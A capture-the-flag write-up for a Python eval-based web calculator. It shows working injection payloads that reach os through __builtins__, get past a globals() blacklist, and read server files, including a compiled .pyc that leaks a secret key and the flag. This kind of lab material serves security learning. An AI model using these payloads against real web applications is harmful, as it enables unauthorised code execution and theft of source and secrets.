Tags: jail escape python3.8 

Rating:

The challenge page is a calculator that consists of a HTML form that returns results when given valid expression. The description says that Python is used for the calculations and that the calculator supports `%` operator.

"My mega calculator can do any calculations python will let you do. Use * + - / % to do complex problems if you want."

Looking at the description `%` stands out, so it is worth trying to use `%` as it is used for the old string formatting.

```python
>>> "%s" % "it works!"
it works!
```

Now check local variables:

```python
>>> "%s" % eval("dir()")
['form', 'items', 'out', 'user_input']

>>> "%s" % eval('form')
<main.CalculatorInput object at 0x7f3b28151070>
```

Not much in here after looking around for a while.

A lot of Python jail escapes involve using `globals()` directly or indirectly (e.g. `"%s" % eval('form.__globals__')`) to import `os` and escape. In this environment `globals()` is explicitly forbidden, whether accessed directly or indirectly.

```python
>>> "%s" % eval('globals()')
Nice try....NOT. If you want to break my code you need to try harder
```

Another way to get to `import` is using builtins and it works fine.

```python
>>> "%s" % eval("__builtins__['__import__']('os').listdir('.')")
['uwsgi.ini', 'prestart.sh', 'main.py', '__pycache__', 'templates']
```

Since the form output is whatever the entered statement returns, can't use `os.system` as its output is written to stdout. So simply calling os.system('cat something') wouldn't work.

But it is possible to use `os.open` and `os.read` to achieve the same goal. The first argument of `os.read` is a file descriptor (can get it using `os.open`) and the second is the number of bytes to read. The second argument of `os.open` is `flags`; `0` corresponds to `os.O_RDONLY` flag.

```python
>>> "%s" % eval("__builtins__['__import__']('os').read(__builtins__['__import__']('os').open('./main.py', 0), 1000000)")
b''
```

Looks like it is not possible to read the Python file. Insufficient permissions?

It is worth trying to reading `__pycache__` and check out if there are any useful strings in the bytecode:

```python
>>> "%s" % eval("__builtins__['__import__']('os').read(__builtins__['__import__']('os').open('./__pycache__/main.cpython-38.pyc', 0), 1000000)")
b'U\r\r\n\x00\x00\x00\x00\xcd\x81X_[\x05\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00@\x00\x00\x00s\xb2\x00\x00\x00d\x00d\x01l\x00m\x01Z\x01\x01\x00d\x00d\x02l\x02m\x03Z\x03m\x04Z\x04m\x05Z\x05\x01\x00d\x00d\x03l\x06m\x07Z\x07m\x08Z\x08m\tZ\tm\nZ\n\x01\x00e\x03e\x0b\x83\x01Z\x0cd\x04e\x0cj\rd\x05<\x00d\x06d\x07d\x08d\td\nd\x0bd\x0cd\rd\x0ed\x0fd\x10g\x0bZ\x0ed\x11Z\x0fd\x12Z\x10G\x00d\x13d\x14\x84\x00d\x14e\x01\x83\x03Z\x11e\x0cj\x12d\x15d\x16d\x17g\x02d\x18\x8d\x02d\x19d\x1a\x84\x00\x83\x01Z\x13e\x0bd\x1bk\x02r\xaee\x0cj\x14d\x1cd\x1dd\x1ed\x1f\x8d\x03\x01\x00d S\x00)!\xe9\x00\x00\x00\x00)\x01\xda\tFlaskForm)\x03\xda\x05Flask\xda\x0frender_template\xda\x07request)\x04\xda\x04Form\xda\nvalidators\xda\x0bStringField\xda\x0bSubmitFieldZ\x1e7d441f27d441f27567d441f2b6176aZ\nSECRET_KEYZ\x06import\xda\x02os\xda\x03sys\xfa\x01;\xda\x05print\xda\n__import__Z\x06SECRETZ\x03KEY\xda\x03app\xda\x04open\xda\x07globalsz\tHYPA HYPAz\x18DUCTF{3v4L_1s_D4ng3r0u5}c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00s&\x00\x00\x00e\x00Z\x01d\x00Z\x02e\x03d\x01e\x04\xa0\x05\xa1\x00g\x01d\x02\x8d\x02Z\x06e\x07d\x03\x83\x01Z\x08d\x04S\x00)\x05\xda\x0fCalculatorInputZ\x0bCalculation)\x01r\x07\x00\x00\x00z\x10Calculate for meN)\t\xda\x08__name__\xda\n__module__\xda\x0c__qualname__r\x08\x00\x00\x00r\x07\x00\x00\x00Z\x0cDataRequired\xda\nuser_inputr\t\x00\x00\x00Z\x06submit\xa9\x00r\x17\x00\x00\x00r\x17\x00\x00\x00\xfa\t./main.pyr\x12\x00\x00\x00\x0c\x00\x00\x00s\x04\x00\x00\x00\x08\x01\x12\x01r\x12\x00\x00\x00\xfa\x01/Z\x03GET\xda\x04POST)\x01\xda\x07methodsc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00sb\x00\x00\x00t\x00\x83\x00}\x00d\x01}\x01t\x01j\x02d\x02k\x02rTt\x01j\x03d\x03\x19\x00}\x02t\x04D\x00]0}\x03|\x03|\x02k\x06r4d\x04}\x01q"z\x0ct\x05|\x02\x83\x01}\x01W\x00q"\x01\x00\x01\x00\x01\x00d\x05}\x01Y\x00q"X\x00q"t\x06d\x06|\x00|\x01d\x07\x8d\x03S\x00)\x08N\xda\x00r\x1a\x00\x00\x00r\x16\x00\x00\x00zDNice try....NOT. If you want to break my code you need to try harderz\x87You caused an error... because my friend told me showing errors to hackers can be problematic I am not going to tell you what you brokez\x0fcalculator.html)\x02\xda\x04form\xda\x03out)\x07r\x12\x00\x00\x00r\x05\x00\x00\x00\xda\x06methodr\x1d\x00\x00\x00\xda\tblacklist\xda\x04evalr\x04\x00\x00\x00)\x04r\x1d\x00\x00\x00r\x1e\x00\x00\x00r\x16\x00\x00\x00\xda\x05itemsr\x17\x00\x00\x00r\x17\x00\x00\x00r\x18\x00\x00\x00\xda\x08mainpage\x10\x00\x00\x00s\x18\x00\x00\x00\x00\x02\x06\x01\x04\x01\n\x01\n\x02\x08\x01\x08\x01\x06\x02\x02\x02\x0c\x01\x06\x01\x0c\x02r#\x00\x00\x00\xda\x08__main__z\x070.0.0.0Ti9\x1b\x00\x00)\x03Z\x04host\xda\x05debugZ\x04portN)\x15Z\tflask_wtfr\x02\x00\x00\x00Z\x05flaskr\x03\x00\x00\x00r\x04\x00\x00\x00r\x05\x00\x00\x00Z\x07wtformsr\x06\x00\x00\x00r\x07\x00\x00\x00r\x08\x00\x00\x00r\t\x00\x00\x00r\x13\x00\x00\x00r\x0f\x00\x00\x00Z\x06configr \x00\x00\x00Z\x14maybe_not_maybe_thisZ\x14maybe_this_maybe_notr\x12\x00\x00\x00\xda\x05router#\x00\x00\x00\xda\x03runr\x17\x00\x00\x00r\x17\x00\x00\x00r\x17\x00\x00\x00r\x18\x00\x00\x00\xda\x08<module>\x01\x00\x00\x00s\x18\x00\x00\x00\x0c\x01\x14\x01\x18\x02\x08\x01\n\x02\x1a\x01\x04\x01\x04\x02\x10\x04\x10\x01\n\x12\x08\x01'
```

The flag is in the bytecode: `DUCTF{3v4L_1s_D4ng3r0u5}`. Maybe there was a more straightforward way to get here?